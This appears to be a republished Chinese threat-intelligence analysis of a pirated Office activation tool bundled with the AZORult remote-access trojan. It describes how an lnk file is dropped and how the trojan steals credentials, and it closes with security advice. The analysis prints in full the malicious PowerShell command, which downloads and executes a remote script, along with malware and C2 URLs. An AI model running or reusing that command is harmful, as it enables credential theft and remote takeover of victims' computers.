注册
登录
| 关键词： 文件 激活 远程控制 Powershell 木马 运行 脚本 工具 程序 代码 |
概述 腾讯御见威胁情报中心检测到一款Office激活工具被捆绑传播窃取远程木马AZORult，该Office激活工具实际经过二次打包，黑客将恶意代码和正常的激活程序打包在资源文件中，当用户运行时，除了激活程序会运行，内置的Powershell恶意代码也会运行。 该盗版激活工具会在后台下载远程控制木马AZORult运行，该木马会搜集敏感信息上传并对电脑进行远程控制。 黑客将Powershell脚本代码(lnk文件)和真正的激活工具程序同时藏在资源文件中，生成新的“激活工具”，目标用户运行被重新打包的激活程序时，执行恶意脚本代码的lnk文件被释放运行。  资源文件 资源文件中包含的lnk文件信息  激活工具运行时从资源文件中释放lnk文件：  Lnk文件执行恶意Powershell脚本代码： C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Exec bypass -windo 1 $wM=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(‘aWV4’));sal t $wM;$nXR=((New-Object Net.WebClient)).DownloadString(‘http://boundertime.ru/pps.ps1’);t $nXR Lnk指向的代码下载执行Powershell脚本 hxxp://timebound.ug/pps.ps1 (或http://boundertime.ru/pps.ps1)  Powershell脚本运行时，通过FromBase64String解码出PE文件二进制数据，并写入文件C:\Users\Public\\xxxx.exe,然后将其作为参数传给Process.start 启动程序  远程控制木马AZORult 下载的C:\Users\Public\\xxxx.exe为远程控制木马AZORult，会搜集浏览器、邮箱、Skype、Telegram、Steam等软件的登录密码上传至C2地址，并接收执行返回的指令，对目标电脑进行远程控制。  发送搜集的数据至C2地址hxxp://ghjgfjhjgf.ru/index.php  安全建议 1、使用正版软件，尽量不要使用激活、破解工具。 2、不要运行来历不明的程序。 3、使用正规杀毒软件拦截该类木马攻击。 |
| 本文出处： https://www.toutiao.com/a6679562587006304781/ |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
